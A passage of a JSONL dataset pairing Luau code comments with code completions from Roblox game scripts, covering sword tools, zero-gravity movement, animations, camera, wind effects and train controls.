humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tforce = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80\n\tforce.Parent = Tool.Parent.Torso\n\twait(.25)\n\tswordOut()\n\twait(.25)\n\tforce.Parent = nil\n\twait(.5)\n\tswordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n"} +{"prompt": "--[=[\n\t@within ClientComm\n\t@type ClientMiddlewareFn (args: {any}) -> (shouldContinue: boolean, ...: any)\n\tThe middleware function takes the arguments (as a table array), and should\n\treturn `true|false` to indicate if the process should continue.\n\n\tIf returning `false`, the optional varargs after the `false` are used as the new return values\n\tto whatever was calling the middleware.\n]=]\n--[=[\n\t@within ClientComm\n\t@type ClientMiddleware {ClientMiddlewareFn}\n\tArray of middleware functions.\n]=]", "completion": "\n"} +{"prompt": "--[[\n\tNew Zero-G Client\n\tPhoenix & BmanGames eeeeyyet\n\tAnother beaut\n]]", "completion": "\n\nlocal ZeroG = game:GetService(\"ReplicatedStorage\").Game.Events.Game.ZG\n\nlocal UIS = game:GetService(\"UserInputService\")\nlocal StarterGui = game:GetService(\"StarterGui\")\n\nlocal Moving = false\nlocal WDown = false\nlocal SDown = false\nlocal ADown = false\nlocal DDown = false\n\nlocal Signals = {}\n\nlocal Disable = function(Lab)\n\tgame:GetService(\"Workspace\").Audios.Local.ZeroG:Stop()\n\n\tlocal Character = game:GetService(\"Players\").LocalPlayer.Character\n\t\n\tfor Index, Signal in pairs(Signals) do\n\t\tSignal:Disconnect()\n\t\tSignals[Index] = nil\n\tend\n\n\tlocal Humanoid = Character:WaitForChild(\"Humanoid\")\n\t\n\tfor Index, En in pairs(Enum.HumanoidStateType:GetEnumItems()) do\n\t if En ~= Enum.HumanoidStateType.None then \n\t Humanoid:SetStateEnabled(En, true) \n\t end\n\tend\n\n\tfor Index, Track in pairs(Humanoid:GetPlayingAnimationTracks()) do\n\t\tTrack:Stop()\n\tend\n\n\tif Lab == true then StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) end\n\n\tStarterGui:SetCore(\"ResetButtonCallback\", true)\n\tCharacter.Animate.Disabled = false\n\n\tgame:GetService(\"RunService\").RenderStepped:Wait()\n\t\n\tMoving = false\n\tWDown = false\n\tSDown = false\n\tADown = false\n\tDDown = false\nend\n\nlocal Active = function(Lab)\n\tgame:GetService(\"Workspace\").Audios.Local.ZeroG:Play()\n\t\n\tlocal Character = game:GetService(\"Players\").LocalPlayer.Character\n\t\n\tCharacter:WaitForChild(\"Humanoid\")\n\n\tif Lab == true then Character:WaitForChild(\"Humanoid\"):UnequipTools() end\n\t\n\tlocal Run = Character.Humanoid:LoadAnimation(Character.Animate.run.RunAnim)\n\tlocal Swim = Character.Humanoid:LoadAnimation(Character.Animate.swim.Swim)\n\tlocal SwimIdle = Character.Humanoid:LoadAnimation(Character.Animate.swimidle.SwimIdle)\n\n\tSignals.Changed = Character:WaitForChild(\"Humanoid\").Changed:connect(function()\n\t\tCharacter.Humanoid.Jump = false\n\tend)\n\t\n\tSignals.Swimming = Character.HumanoidRootPart.Swimming.Changed:connect(function()\n\t\tCharacter.HumanoidRootPart.Swimming:Stop()\n\tend)\n\t\n\tSignals.Splash = Character.HumanoidRootPart.Splash.Changed:connect(function()\n\t\tCharacter.HumanoidRootPart.Splash:Stop()\n\tend)\n\t\n\tif Lab == true then StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false) end\n\t\n\tStarterGui:SetCore(\"ResetButtonCallback\", false)\n\tCharacter.Animate.Disabled = true\n\n\tlocal Humanoid = Character:WaitForChild(\"Humanoid\")\n\t\n\tfor Index, Track in pairs(Humanoid:GetPlayingAnimationTracks()) do\n\t\tTrack:Stop()\n\tend\n\n\tfor Index, En in pairs(Enum.HumanoidStateType:GetEnumItems()) do\n\t if En ~= Enum.HumanoidStateType.None then \n\t Humanoid:SetStateEnabled(En, false) \n\t end\n\tend\n\n\tRun:Stop()\n\tSwim:Stop()\n\tSwimIdle:Play()\n\n\tHumanoid:ChangeState(Enum.HumanoidStateType.Swimming)\n\n\tSignals.Began = UIS.InputBegan:Connect(function(Input)\n\t\tif Input.UserInputType == Enum.UserInputType.Keyboard then\n\t\t\tif Input.KeyCode == Enum.KeyCode.W then\n\t\t\t\tWDown = true\n\t\t\telseif Input.KeyCode == Enum.KeyCode.S then\n\t\t\t\tSDown = true\n\t\t\telseif Input.KeyCode == Enum.KeyCode.A then\n\t\t\t\tADown = true\n\t\t\telseif Input.KeyCode == Enum.KeyCode.D then\n\t\t\t\tDDown = true\n\t\t\tend\n\t\tend\n\t\n\t\tif Input.UserInputType == Enum.UserInputType.Gamepad1 then\n\t\t\tif Input.Delta.X > 0 then\n\t\t\t\tDDown = true\n\t \t\telseif Input.Delta.X < 0 then\n\t\t\t\tADown = true\n\t\t\tend\n\t\n\t\t\tif Input.Delta.Y > 0 then\n\t\t\t\tWDown = true\n\t\t\telseif Input.Delta.Y < 0 then\n\t\t\t\tSDown = true\n\t\t\tend\n\t\tend\n\t\n\t\tif Input.UserInputType == Enum.UserInputType.Touch then\n\t\t\tif Input.Position.X > 0 then\n\t\t\t\tDDown = true\n\t \t\telseif Input.Position.X < 0 then\n\t\t\t\tADown = true\n\t\t\tend\n\t\t\t\n\t\t\tif Input.Position.Y > 0 then\n\t\t\t\tWDown = true\n\t\t\telseif Input.Position.Y < 0 then\n\t\t\t\tSDown = true\n\t\t\tend\n\t\tend\n\tend)\t\n\t\n\tSignals.Ended = UIS.InputEnded:Connect(function(Input)\n\t\tif Input.UserInputType == Enum.UserInputType.Keyboard then\n\t\t\tif Input.KeyCode == Enum.KeyCode.W then\n\t\t\t\tWDown = false\n\t\t\telseif Input.KeyCode == Enum.KeyCode.S then\n\t\t\t\tSDown = false\n\t\t\telseif Input.KeyCode == Enum.KeyCode.A then\n\t\t\t\tADown = false\n\t\t\telseif Input.KeyCode == Enum.KeyCode.D then\n\t\t\t\tDDown = false\n\t\t\tend\n\t\tend\n\t\n\t\tif Input.UserInputType == Enum.UserInputType.Gamepad1 then\n\t\t\tif Input.Delta.X > 0 then\n\t\t\t\tDDown = false\n\t \t\telseif Input.Delta.X < 0 then\n\t\t\t\tADown = false\n\t\t\tend\n\t\n\t\t\tif Input.Delta.Y > 0 then\n\t\t\t\tWDown = false\n\t\t\telseif Input.Delta.Y < 0 then\n\t\t\t\tSDown = false\n\t\t\tend\n\t\tend\n\t\n\t\tif Input.UserInputType == Enum.UserInputType.Touch then\n\t\t\tif Input.Position.X > 0 then\n\t\t\t\tDDown = false\n\t \t\telseif Input.Position.X < 0 then\n\t\t\t\tADown = false\n\t\t\tend\n\t\t\t\n\t\t\tif Input.Position.Y > 0 then\n\t\t\t\tWDown = false\n\t\t\telseif Input.Position.Y < 0 then\n\t\t\t\tSDown = false\n\t\t\tend\n\t\tend\n\tend)\n\t\n\tSignals.Stepped = game:GetService(\"RunService\").RenderStepped:Connect(function()\n\t\tif WDown == true or SDown == true or ADown == true or DDown == true then\n\t\t\tif Moving == false then\n\t\t\t\tMoving = true\n\t\t\t\tSwimIdle:Stop()\n\t\t\t\tSwim:Play()\n\t\t\tend\n\t\telse\n\t\t\tif Moving == true then\n\t\t\t\tMoving = false\n\t\t\t\tSwim:Stop()\n\t\t\t\tSwimIdle:Play()\n\t\t\tend\n\t\tend\n\tend)\nend\n\n\n\nZeroG.OnClientEvent:Connect(function(State, LabBool)\n\tif State == true then\n\t\tActive(LabBool)\n\telse\n\t\tDisable(LabBool)\n\tend\nend)\n"} +{"prompt": "-- Disable reset button and top bar --", "completion": "\nwait(1)\ngame:GetService(\"StarterGui\"):SetCore(\"ResetButtonCallback\", false)\ngame:GetService('Players').LocalPlayer:WaitForChild('PlayerGui'):SetTopbarTransparency(1)\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 5\n\n\nlocal slash_damage = 8\nlocal lunge_damage = 12\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"rbxasset://sounds\\\\swordlunge.wav\"\nLungeSound.Parent = sword\nLungeSound.Volume = .6\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 1\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tforce = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80\n\tforce.Parent = Tool.Parent.Torso\n\twait(.25)\n\tswordOut()\n\twait(.25)\n\tforce.Parent = nil\n\twait(.5)\n\tswordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "-- DefaultValue for spare ammo", "completion": "\nlocal SpareAmmo = 90"} +{"prompt": "--\t\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = Figure.AnimationController:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\tend\n\nend\n"} +{"prompt": "-- Compare a packed table with a packed table of predicates.", "completion": "\nlocal fmtArgs = require(script.Parent.fmtArgs)\n\nreturn function(p, x)\n\tif p.n ~= x.n then\n\t\tlocal msg = \"number of args in \" .. fmtArgs(x) .. \" does not match number of predicates\"\n\t\treturn false, msg\n\tend\n\n\tfor i = 1, x.n do\n\t\tif not p[i](x[i]) then\n\t\t\tlocal msg = fmtArgs(x) .. \" does not match predicates at position \" .. i\n\t\t\treturn false, msg\n\t\tend\n\tend\n\treturn true\nend\n"} +{"prompt": "--[[\n\tControls transparency of multiple Humanoids.\n]]", "completion": "\n\nlocal HumanoidController = require(script.Parent.HumanoidController)\n\nlocal HumanoidControllers = {}\nHumanoidControllers.__index = HumanoidControllers\n\nfunction HumanoidControllers.new(playerList: { Player }, whitelist: { Player }?)\n\tlocal self = {\n\t\tplayerList = playerList,\n\t\twhitelist = whitelist,\n\t}\n\n\tself.isHiding = false\n\n\tself.humanoidControllers = {}\n\tfor _, player in ipairs(self.playerList) do\n\t\tself.humanoidControllers[player.UserId] = HumanoidController.new(player)\n\tend\n\n\tself.whitelistedUserIds = {}\n\tif self.whitelist then\n\t\tfor _, player in ipairs(self.whitelist) do\n\t\t\tself.whitelistedUserIds[player.UserId] = true\n\t\tend\n\tend\n\n\tsetmetatable(self, HumanoidControllers)\n\n\treturn self\nend\n\nfunction HumanoidControllers:showHumanoids()\n\tself.isHiding = false\n\tfor userId, humanoidController in pairs(self.humanoidControllers) do\n\t\tif not self.whitelistedUserIds[userId] then\n\t\t\thumanoidController:show()\n\t\tend\n\tend\nend\n\nfunction HumanoidControllers:hideHumanoids()\n\tself.isHiding = true\n\tfor userId, humanoidController in pairs(self.humanoidControllers) do\n\t\tif not self.whitelistedUserIds[userId] then\n\t\t\thumanoidController:hide()\n\t\tend\n\tend\nend\n\nfunction HumanoidControllers:addHumanoidController(player: Player)\n\tif not self.humanoidControllers[player.UserId] then\n\t\tself.humanoidControllers[player.UserId] = HumanoidController.new(player)\n\n\t\tif self.isHiding then\n\t\t\tself.humanoidControllers[player.UserId]:hide()\n\t\tend\n\telse\n\t\twarn(\"Error: \" .. player.Name .. \" already has a HumanoidController.\")\n\tend\nend\n\nfunction HumanoidControllers:removeHumanoidController(player: Player)\n\tif self.humanoidControllers[player.UserId] then\n\t\tself.humanoidControllers[player.UserId] = nil\n\telse\n\t\twarn(\"Error: \" .. player.Name .. \" does not have a HumanoidController to remove.\")\n\tend\nend\n\nfunction HumanoidControllers:addToWhitelist(player: Player)\n\tif not self.whitelistedUserIds[player.UserId] then\n\t\tself.whitelistedUserIds[player.UserId] = player\n\telse\n\t\twarn(\"Error: \" .. player.Name .. \" is already part of the whitelist for HumanoidControllers.\")\n\tend\nend\n\nfunction HumanoidControllers:removeFromWhitelist(player: Player)\n\tif self.whitelistedUserIds[player.UserId] ~= nil then\n\t\tself.whitelistedUserIds[player.UserId] = nil\n\telse\n\t\twarn(\"Error: \" .. player.Name .. \" is not part of the whitelist for HumanoidControllers.\")\n\tend\nend\n\nfunction HumanoidControllers:waitForHumanoidAnimations()\n\tfor _, humanoidController in pairs(self.humanoidControllers) do\n\t\tif humanoidController:isAnimating() then\n\t\t\thumanoidController.animationCompleted.Event:Wait()\n\t\tend\n\tend\nend\n\nreturn HumanoidControllers\n"} +{"prompt": "--[[**\n\t\tensures value is an array of a strict makeup and size\n\n\t\t@param check The check to compare all values with\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]", "completion": "\n\tfunction t.strictArray(...)\n\t\tlocal valueTypes = { ... }\n\t\tassert(t.array(t.callback)(valueTypes))\n\n\t\treturn function(value)\n\t\t\tlocal keySuccess, keyErrMsg = arrayKeysCheck(value)\n\t\t\tif keySuccess == false then\n\t\t\t\treturn false, string.format(\"[strictArray] %s\", keyErrMsg or \"\")\n\t\t\tend\n\n\t\t\t-- If there's more than the set array size, disallow\n\t\t\tif #valueTypes < #value then\n\t\t\t\treturn false, string.format(\"[strictArray] Array size exceeds limit of %d\", #valueTypes)\n\t\t\tend\n\n\t\t\tfor idx, typeFn in pairs(valueTypes) do\n\t\t\t\tlocal typeSuccess, typeErrMsg = typeFn(value[idx])\n\t\t\t\tif not typeSuccess then\n\t\t\t\t\treturn false, string.format(\"[strictArray] Array index #%d - %s\", idx, typeErrMsg)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n\ndo\n\tlocal callbackArray = t.array(t.callback)"} +{"prompt": "-- Gives the player an upgrade for completing a lap", "completion": "\nfunction WaypointController:ProvideLapReward()\n\tAddUpgradeEvent:FireServer(self.player)\nend\n\nfunction WaypointController:ProvideCheckpointReward()\n\tTouchCheckpointEvent:FireServer(self.player)\nend\n\nfunction WaypointController:UpdateWaypoint()\n\tself.waypointPath:Destroy()\n\tself.WaypointPathReached:Disconnect()\n\tself.NodeReached:Disconnect()\n\tself.FinishedMoving:Disconnect()\n\t\n\tif self.currentWaypointIndex == #waypoints then\n\t\t-- Player is at the last waypoint\n\t\tself.currentWaypointIndex = 1\n\t\tself.currentWaypoint = waypoints[self.currentWaypointIndex]\n\t\tself:ProvideCheckpointReward()\n\telse\n\t\tif self.currentWaypointIndex == 1 then\t\t\t\n\t\t\t-- Cheer\n\t\t\tlocal animateScript = character:WaitForChild(\"Animate\")\n\t\t\tlocal animation = animateScript:WaitForChild(\"cheer\"):GetChildren()[1]\n\t\t\tif animation then\n\t\t\t\tlocal track = humanoid:LoadAnimation(animation)\n\t\t\t\ttrack.Priority = Enum.AnimationPriority.Action\n\t\t\t\ttrack:Play()\n\t\t\tend\n\t\telse\n\t\t\t-- Player has more waypoints left\n\t\t\tself:ProvideCheckpointReward()\n\t\tend\n\t\t\n\t\tself.currentWaypointIndex = self.currentWaypointIndex + 1\n\t\tself.currentWaypoint= waypoints[self.currentWaypointIndex]\n\tend\n\t\n\tself.waypointPath = WaypointPath.new(self.player, self.humanoidRoot.Position,\n\t\tself.currentWaypoint.Position)\n\tself.WaypointPathReached = self.waypointPath.WaypointReached:Connect(\n\t\tfunction()\n\t\t\tself:UpdateWaypoint()\n\t\tend)\n\tself.NodeReached = self.waypointPath.NodeReached:Connect(\n\t\tfunction()\n\t\t\tself._CooldownFinishedEvent:Fire()\n\t\tend)\n\tself.FinishedMoving = self.waypointPath.FinishedMoving:Connect(\n\t\tfunction()\n\t\t\tself:StopTracking()\n\t\tend)\n\t\n\tself.waypointPath:MoveTo()\nend\n\n\nreturn WaypointController\n"} +{"prompt": "--[[\n\tClassicCamera - Classic Roblox camera control module\n\t2018 Camera Update - AllYourBlox\n\n\tNote: This module also handles camera control types Follow and Track, the\n\tlatter of which is currently not distinguished from Classic\n--]]", "completion": "\n"} +{"prompt": "--//Setup//--", "completion": "\nlocal WindLines = require(script.WindLines)\nlocal WindShake = require(script.WindShake)\n\nlocal WindSpeed = 20\n\nlocal WindShakeSettings = {\n\tWindPower = 0.75,\n\tWindSpeed = WindSpeed,\n\tWindDirection = Vector3.new(5, 0, 5)\n}\n\nlocal WindLinesSettings = {\n\tWindDirection = Vector3.new(5, 0, 5),\n\tWindSpeed = WindSpeed,\n\tLifeTime = 9,\n\tSpawnRate = 15\n}\n\nlocal ShakableObjects = {\n\t\"Leaf\"\n}\n"} +{"prompt": "--- Returns the extra data associated with this command.\n-- This needs to be used instead of just context.Data for reliability when not using a remote command.", "completion": "\nfunction Command:GetData ()\n\tif self.Data then\n\t\treturn self.Data\n\tend\n\n\tif self.Object.Data then\n\t\tself.Data = self.Object.Data(self)\n\tend\n\n\treturn self.Data\nend\n"} +{"prompt": "--[[\ncspeed = speed/1.298\nprint(\"FL \".. math.abs(FL.Parent.RotVelocity.Magnitude-cspeed))\nprint(\"FR \".. math.abs(FR.Parent.RotVelocity.Magnitude-cspeed))\nprint(\"RL \".. math.abs(RL.Parent.RotVelocity.Magnitude-cspeed))\nprint(\"RR \".. math.abs(RR.Parent.RotVelocity.Magnitude-cspeed))]]--\n--print(\"Speed \".. speed/1.298)", "completion": "\nbST = (inds.Value)*(1000*convert) \nbuild = rpm.Value/18000\n\n\nif speed > 110 and carSeat.Steer ~= 0 then"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal playergui = service.PlayerGui\n\tlocal localplayer = service.Player\n\tlocal toggle = script.Parent.Parent.Toggle\n\t\n\tif client.Core.Get(\"Chat\") then\n\t\ttoggle.Position = UDim2.new(1, -(45+40),1, -45)\n\tend\n\t\n\ttoggle.MouseButton1Down:connect(function()\n\t\tlocal found = client.Core.Get(\"UserPanel\",nil,true)\n\t\tif found then\n\t\t\tfound.Object:Destroy()\n\t\telse\n\t\t\tclient.Core.Make(\"UserPanel\",{})\n\t\tend\n\tend)\n\t\n\tscript.Parent.Parent.Parent = playergui\nend\n"} +{"prompt": "-- Keep a history of the past number of frames based on FRAMES_TO_CHECK_VELOCITY", "completion": "\nlocal function onHeartbeat()\n\tlocal humanoidVelocity = humanoidRootPart.Velocity\n\tpreviousVelocities[counter] = humanoidVelocity\n\n\tcounter = counter + 1\n\tif counter > MAX_VELOCITY_HISTORY_COUNT then\n\t\tcounter = 1\n\tend\n\nend\n\nRunService.Heartbeat:Connect(onHeartbeat)\n\nlocal function onStateChanged(oldState, newState)\n\tif newState == Enum.HumanoidStateType.Landed then\n\t\tlocal humanoidVelocity = getAverageVelocity()\n\t\teventData:FireServer(\"FallDamage\", humanoidVelocity)\n\tend\nend\n\nhumanoid.StateChanged:Connect(onStateChanged)\n"} +{"prompt": "--[[\n\tReturns the stack trace of where the element was created that this component\n\tinstance's properties are based on.\n\n\tIntended to be used primarily by diagnostic tools.\n]]", "completion": "\nfunction Component:getElementTraceback()\n\treturn self[InternalData].virtualNode.currentElement.source\nend\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nTool = script.Parent\n\nlocal sparkles = script.Parent.Handle:findFirstChild(\"Sparkles\")\n\nfunction onEquipped()\n\tmenorahsound = Instance.new(\"Sound\")\n\tmenorahsound.SoundId = \"http://www.roblox.com/asset/?id=19095020\" \n\tmenorahsound.Parent = Tool\n\tmenorahsound.Volume = .4\n\nend\n\nfunction onUnequipped()\n\tmenorahsound:Stop()\nend\n\n\nfunction onActivated()\n\n\t\n\t--active the sparkes\n\tif (not sparkles.Enabled) then\n\t\tsparkles.Enabled = true\t\t\n\t\tmenorahsound:Play()\n\telse\n\t\tsparkles.Enabled = false\n\tend\nend\n"} +{"prompt": "--[[Susupension]]", "completion": "\nTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n"} +{"prompt": "--[ Variables ]--", "completion": "\nlocal Outer = script.Parent\n\tlocal Inner = Outer:WaitForChild(\"Inner\")\n\t--local Display = Outer:WaitForChild(\"Display\")\n\tlocal Detector = Outer:WaitForChild(\"Detector\")\n\tlocal N = Outer:WaitForChild(\"N\")\nlocal Player = game.Players.LocalPlayer\n\tlocal Humanoid = Player.Character:WaitForChild(\"Humanoid\")"} +{"prompt": "-- << SETUP >>", "completion": "\nfor commandName, command in pairs(module) do\n\tcommand.Name = commandName\nend\n\n\n\nreturn module\n"} +{"prompt": "--[[\n\tJoins any number of lists together into a new list\n]]", "completion": "\nlocal function join(...)\n\tlocal new = {}\n\n\tfor listKey = 1, select(\"#\", ...) do\n\t\tlocal list = select(listKey, ...)\n\t\tlocal len = #new\n\n\t\tfor itemKey = 1, #list do\n\t\t\tif list[itemKey] == None then\n\t\t\t\tlen = len - 1\n\t\t\telse\n\t\t\t\tnew[len + itemKey] = list[itemKey]\n\t\t\tend\n\t\tend\n\tend\n\n\treturn new\nend\n\nreturn join\n"} +{"prompt": "-- Update camera if it changes", "completion": "\n\nworkspace.Changed:connect(function (p)\n\tif p == \"CurrentCamera\" then\n\t\tcamera = workspace.CurrentCamera\n\tend\nend)\n"} +{"prompt": "--GET THE NEEDED INFO AND PUT IN TABLES", "completion": "\nfunction getwheels(model)\n\tfor _,i in pairs (model:GetChildren()) do\n\t\tif i:IsA(\"BasePart\") then\n\t\t\ti.Anchored = false\n\t\t\tif i.Name == \"GOING\" then\n\t\t\t\ttable.insert(Seats,i)\n\t\t\t--[[\t\n\t\t\telseif i.Name == \"Brake\" then\n\t\t\t\ttable.insert(Brakes,i)\n\t\t\t\t--print(\"Brake found\")\n\t\t\t--]]\n\t\t\tend\n\t\telseif i:IsA(\"Model\") then\n\t\t\tgetwheels(i)\n\t\t\tif i.Name == \"Coupler\" then\n\t\t\t\tif not cplrstr then\n\t\t\t\t\tcplrstr = i\n\t\t\t\telse\n\t\t\t\t\tFrontCoupler.model, RearCoupler.model = getclosestcoupler(cplrstr,i)\n\t\t\t\t\tcplrstr = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction scopinggetcoupler(model)\n\tlocal cplrs = {}\n\tlocal addtable = {}\n\tfor _,i in pairs (model:GetChildren()) do\n\t\tif i:IsA(\"Model\") then\n\t\t\tif i.Name == \"Coupler\" then\n\t\t\t\ttable.insert(cplrs,i)\n\t\t\telse\n\t\t\t\taddtable = scopinggetcoupler(i)\n\t\t\t\tfor _,i in pairs (addtable) do\n\t\t\t\t\ttable.insert(cplrs,i)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn cplrs\nend\n\nfunction scopinggetFront(model)\n\tlocal a = model\n\tif a and a.Parent then\n\t\trepeat\n\t\t\ta = a.Parent\n\t\tuntil a:FindFirstChild(\"Front\") or a == workspace or not a.Parent\n\tend\n\tif a and a:FindFirstChild(\"Front\") then\n\t\treturn a.Front\n\telse\n\t\treturn nil\n\tend\nend\nfunction scopinggetDrive(model)\n\tlocal a = model\n\tif a and a.Parent then\n\t\trepeat\n\t\t\ta = a.Parent\n\t\tuntil a:FindFirstChild(\"Drive\") or a == workspace or not a.Parent\n\tend\n\tif a and a:FindFirstChild(\"Drive\") then\n\t\treturn a.Drive\n\telse\n\t\treturn nil\n\tend\nend\n\nfunction getclosestcoupler(coupler1,coupler2)\n\tlocal tg = scopinggetFront(coupler1)\n\tlocal front, rear = nil,nil\n\tif coupler2 and tg then\n\t\tlocal dista = (coupler1.Coupler.Position-tg.Position).magnitude\n\t\tlocal distb = (coupler2.Coupler.Position-tg.Position).magnitude\n\t\tfront = dista < distb and coupler1 or coupler2\n\t\trear = dista < distb and coupler2 or coupler1\n\telseif not coupler2 then\n\t\tfront = coupler1\n\tend\n\treturn front,rear\nend\n\nfunction updatewheels()\n\tfor _,k in pairs (Seats) do\n\t\tk.MaxSpeed = Throttle*MAXIMUMSPEED\n\t\tk.Torque = TORQUE\n\t\tif ((k.CFrame*CFrame.new(0,0,3)).p-Front.CFrame.p).magnitude >((k.CFrame*CFrame.new(0,0,-3)).p-Front.CFrame.p).magnitude then\n\t\t\tk.Throttle = 